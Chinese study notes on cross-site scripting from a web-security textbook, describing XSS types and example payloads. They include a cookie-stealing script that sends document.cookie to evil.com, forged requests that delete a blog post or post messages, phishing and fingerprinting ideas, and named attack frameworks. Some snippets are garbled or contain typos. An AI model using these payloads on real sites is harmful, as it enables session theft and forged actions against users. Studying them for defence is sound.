白帽子讲web安全笔记——XSS(一)

XSS  跨站脚本攻击

三种类型:1.反射型:简单的把用户输入的数据“反射”给浏览器

2.存储型:把用户输入的数据“存储”在服务器端   具有很强的稳定性

3.DOM Based:修改页面的DOM节点形成的

XSS攻击:

 

Cookie劫持

先加载一个远程脚本   

在evil.js中,通过代码窃取Cookie

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

 

 

构造GET和POST请求

删除搜狐博客

var img = document.creatElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1556713012";
document.body.appendChild(img);

豆瓣发出新消息 、

var dd = document.creatElement("div");
document.body.appendChild(dd);
dd.innerHTML = '
'+ ''+ ''+ '
' document.getElementById("xssform".submit();

我们可以看到使用javascript模拟浏览器发包并不是一件困难的事。

 

 

XSS钓鱼

利用JavaScript在当前页面上“画出”一个伪造的登录框。

 

 

识别用户浏览器

alert(navigator.userAgent);

识别用户安装的软件

在IE中通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。

一些第三方软件也可能会泄露一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。

浏览器的扩展和插件也能被XSS Payload扫描出来。

Firefox 的插件列表放在一个DOM对象中,通过查询DOM可以遍历出所有插件。

Firefox的扩展,可以在JavaScript中加载扩展图标,加载成功,则扩展存在。

 

 

CSS History Hack

利用style的vistied属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

 

获取用户的真实ip地址

 

XSS攻击平台:

Attack API、BeEF、XSS-Proxy

 

XSS终极武器   XSS Worm

 

调试JavaScript

Firebug、IE 8 Developer Tools、Fiddler、HttpWatch


 

你可能感兴趣的:(白帽子讲web安全笔记)